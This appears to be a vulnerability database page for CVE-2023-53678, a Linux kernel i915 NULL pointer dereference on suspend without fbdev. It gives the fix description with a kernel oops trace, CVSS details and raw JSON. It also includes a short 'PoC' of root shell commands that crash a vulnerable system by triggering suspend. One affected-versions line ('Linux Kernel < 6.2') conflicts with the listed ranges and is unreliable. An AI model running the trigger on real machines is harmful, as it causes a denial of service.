Security Vulnerability Report
中文
CVE-2023-53678 CVSS 5.5 MEDIUM

CVE-2023-53678

Published: 2025-10-07 16:15:52
Last Modified: 2026-02-26 23:09:00
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: drm/i915: Fix system suspend without fbdev being initialized If fbdev is not initialized for some reason - in practice on platforms without display - suspending fbdev should be skipped during system suspend, fix this up. While at it add an assert that suspending fbdev only happens with the display present. This fixes the following: [ 91.227923] PM: suspend entry (s2idle) [ 91.254598] Filesystems sync: 0.025 seconds [ 91.270518] Freezing user space processes [ 91.272266] Freezing user space processes completed (elapsed 0.001 seconds) [ 91.272686] OOM killer disabled. [ 91.272872] Freezing remaining freezable tasks [ 91.274295] Freezing remaining freezable tasks completed (elapsed 0.001 seconds) [ 91.659622] BUG: kernel NULL pointer dereference, address: 00000000000001c8 [ 91.659981] #PF: supervisor write access in kernel mode [ 91.660252] #PF: error_code(0x0002) - not-present page [ 91.660511] PGD 0 P4D 0 [ 91.660647] Oops: 0002 [#1] PREEMPT SMP NOPTI [ 91.660875] CPU: 4 PID: 917 Comm: bash Not tainted 6.2.0-rc7+ #54 [ 91.661185] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS edk2-20221117gitfff6d81270b5-9.fc37 unknown [ 91.661680] RIP: 0010:mutex_lock+0x19/0x30 [ 91.661914] Code: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 0f 1f 44 00 00 53 48 89 fb e8 62 d3 ff ff 31 c0 65 48 8b 14 25 00 15 03 00 <f0> 48 0f b1 13 75 06 5b c3 cc cc cc cc 48 89 df 5b eb b4 0f 1f 40 [ 91.662840] RSP: 0018:ffffa1e8011ffc08 EFLAGS: 00010246 [ 91.663087] RAX: 0000000000000000 RBX: 00000000000001c8 RCX: 0000000000000000 [ 91.663440] RDX: ffff8be455eb0000 RSI: 0000000000000001 RDI: 00000000000001c8 [ 91.663802] RBP: ffff8be459440000 R08: ffff8be459441f08 R09: ffffffff8e1432c0 [ 91.664167] R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000001 [ 91.664532] R13: 00000000000001c8 R14: 0000000000000000 R15: ffff8be442f4fb20 [ 91.664905] FS: 00007f28ffc16740(0000) GS:ffff8be4bb900000(0000) knlGS:0000000000000000 [ 91.665334] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 91.665626] CR2: 00000000000001c8 CR3: 0000000114926006 CR4: 0000000000770ee0 [ 91.665988] PKRU: 55555554 [ 91.666131] Call Trace: [ 91.666265] <TASK> [ 91.666381] intel_fbdev_set_suspend+0x97/0x1b0 [i915] [ 91.666738] i915_drm_suspend+0xb9/0x100 [i915] [ 91.667029] pci_pm_suspend+0x78/0x170 [ 91.667234] ? __pfx_pci_pm_suspend+0x10/0x10 [ 91.667461] dpm_run_callback+0x47/0x150 [ 91.667673] __device_suspend+0x10a/0x4e0 [ 91.667880] dpm_suspend+0x134/0x270 [ 91.668069] dpm_suspend_start+0x79/0x80 [ 91.668272] suspend_devices_and_enter+0x11b/0x890 [ 91.668526] pm_suspend.cold+0x270/0x2fc [ 91.668737] state_store+0x46/0x90 [ 91.668916] kernfs_fop_write_iter+0x11b/0x200 [ 91.669153] vfs_write+0x1e1/0x3a0 [ 91.669336] ksys_write+0x53/0xd0 [ 91.669510] do_syscall_64+0x58/0xc0 [ 91.669699] ? syscall_exit_to_user_mode_prepare+0x18e/0x1c0 [ 91.669980] ? syscall_exit_to_user_mode_prepare+0x18e/0x1c0 [ 91.670278] ? syscall_exit_to_user_mode+0x17/0x40 [ 91.670524] ? do_syscall_64+0x67/0xc0 [ 91.670717] ? __irq_exit_rcu+0x3d/0x140 [ 91.670931] entry_SYSCALL_64_after_hwframe+0x72/0xdc [ 91.671202] RIP: 0033:0x7f28ffd14284 v2: CC stable. (Jani) References: https://gitlab.freedesktop.org/drm/intel/-/issues/8015 (cherry picked from commit 9542d708409a41449e99c9a464deb5e062c4bee2)

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
Linux Kernel < 6.2 (存在漏洞版本)
Linux Kernel 6.2-rc7+ (确认存在漏洞的测试版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2023-53678 PoC - Trigger NULL pointer dereference in i915 fbdev suspend # Platform: Linux system without display hardware, using i915 driver # Effect: Kernel panic / system crash during suspend # Step 1: Ensure the system has i915 driver loaded but no display initialized # (typical on headless servers or QEMU VMs without display) lsmod | grep i915 # Step 2: Trigger system suspend (s2idle) # This will cause the kernel to call i915_drm_suspend() -> intel_fbdev_set_suspend() # which will attempt to lock a NULL mutex in uninitialized fbdev sudo sh -c 'echo s2idle > /sys/power/mem_sleep' sudo sh -c 'echo mem > /sys/power/state' # Expected result on vulnerable kernel: # BUG: kernel NULL pointer dereference, address: 00000000000001c8 # RIP: mutex_lock+0x19/0x30 # Call Trace: # intel_fbdev_set_suspend+0x97/0x1b0 [i915] # i915_drm_suspend+0xb9/0x100 [i915] # pci_pm_suspend+0x78/0x170 # Alternative trigger via systemd suspend: systemctl suspend

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2023-53678", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-07T16:15:51.917", "lastModified": "2026-02-26T23:08:59.863", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/i915: Fix system suspend without fbdev being initialized\n\nIf fbdev is not initialized for some reason - in practice on platforms\nwithout display - suspending fbdev should be skipped during system\nsuspend, fix this up. While at it add an assert that suspending fbdev\nonly happens with the display present.\n\nThis fixes the following:\n\n[ 91.227923] PM: suspend entry (s2idle)\n[ 91.254598] Filesystems sync: 0.025 seconds\n[ 91.270518] Freezing user space processes\n[ 91.272266] Freezing user space processes completed (elapsed 0.001 seconds)\n[ 91.272686] OOM killer disabled.\n[ 91.272872] Freezing remaining freezable tasks\n[ 91.274295] Freezing remaining freezable tasks completed (elapsed 0.001 seconds)\n[ 91.659622] BUG: kernel NULL pointer dereference, address: 00000000000001c8\n[ 91.659981] #PF: supervisor write access in kernel mode\n[ 91.660252] #PF: error_code(0x0002) - not-present page\n[ 91.660511] PGD 0 P4D 0\n[ 91.660647] Oops: 0002 [#1] PREEMPT SMP NOPTI\n[ 91.660875] CPU: 4 PID: 917 Comm: bash Not tainted 6.2.0-rc7+ #54\n[ 91.661185] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS edk2-20221117gitfff6d81270b5-9.fc37 unknown\n[ 91.661680] RIP: 0010:mutex_lock+0x19/0x30\n[ 91.661914] Code: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 0f 1f 44 00 00 53 48 89 fb e8 62 d3 ff ff 31 c0 65 48 8b 14 25 00 15 03 00 <f0> 48 0f b1 13 75 06 5b c3 cc cc cc cc 48 89 df 5b eb b4 0f 1f 40\n[ 91.662840] RSP: 0018:ffffa1e8011ffc08 EFLAGS: 00010246\n[ 91.663087] RAX: 0000000000000000 RBX: 00000000000001c8 RCX: 0000000000000000\n[ 91.663440] RDX: ffff8be455eb0000 RSI: 0000000000000001 RDI: 00000000000001c8\n[ 91.663802] RBP: ffff8be459440000 R08: ffff8be459441f08 R09: ffffffff8e1432c0\n[ 91.664167] R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000001\n[ 91.664532] R13: 00000000000001c8 R14: 0000000000000000 R15: ffff8be442f4fb20\n[ 91.664905] FS: 00007f28ffc16740(0000) GS:ffff8be4bb900000(0000) knlGS:0000000000000000\n[ 91.665334] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[ 91.665626] CR2: 00000000000001c8 CR3: 0000000114926006 CR4: 0000000000770ee0\n[ 91.665988] PKRU: 55555554\n[ 91.666131] Call Trace:\n[ 91.666265] <TASK>\n[ 91.666381] intel_fbdev_set_suspend+0x97/0x1b0 [i915]\n[ 91.666738] i915_drm_suspend+0xb9/0x100 [i915]\n[ 91.667029] pci_pm_suspend+0x78/0x170\n[ 91.667234] ? __pfx_pci_pm_suspend+0x10/0x10\n[ 91.667461] dpm_run_callback+0x47/0x150\n[ 91.667673] __device_suspend+0x10a/0x4e0\n[ 91.667880] dpm_suspend+0x134/0x270\n[ 91.668069] dpm_suspend_start+0x79/0x80\n[ 91.668272] suspend_devices_and_enter+0x11b/0x890\n[ 91.668526] pm_suspend.cold+0x270/0x2fc\n[ 91.668737] state_store+0x46/0x90\n[ 91.668916] kernfs_fop_write_iter+0x11b/0x200\n[ 91.669153] vfs_write+0x1e1/0x3a0\n[ 91.669336] ksys_write+0x53/0xd0\n[ 91.669510] do_syscall_64+0x58/0xc0\n[ 91.669699] ? syscall_exit_to_user_mode_prepare+0x18e/0x1c0\n[ 91.669980] ? syscall_exit_to_user_mode_prepare+0x18e/0x1c0\n[ 91.670278] ? syscall_exit_to_user_mode+0x17/0x40\n[ 91.670524] ? do_syscall_64+0x67/0xc0\n[ 91.670717] ? __irq_exit_rcu+0x3d/0x140\n[ 91.670931] entry_SYSCALL_64_after_hwframe+0x72/0xdc\n[ 91.671202] RIP: 0033:0x7f28ffd14284\n\nv2: CC stable. (Jani)\n\nReferences: https://gitlab.freedesktop.org/drm/intel/-/issues/8015\n(cherry picked from commit 9542d708409a41449e99c9a464deb5e062c4bee2)"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.1", "versionEndExcluding": "6.1.18", "matchCriteriaId": "E5630603-E179-4468-AD0D-45FD417E6EDB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.2.5", "matchCriteriaId": "0575B33B-A320-4E51-84CA-10C937341E02"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/27b5871abd5cc068c549fd23062c82 ... (truncated)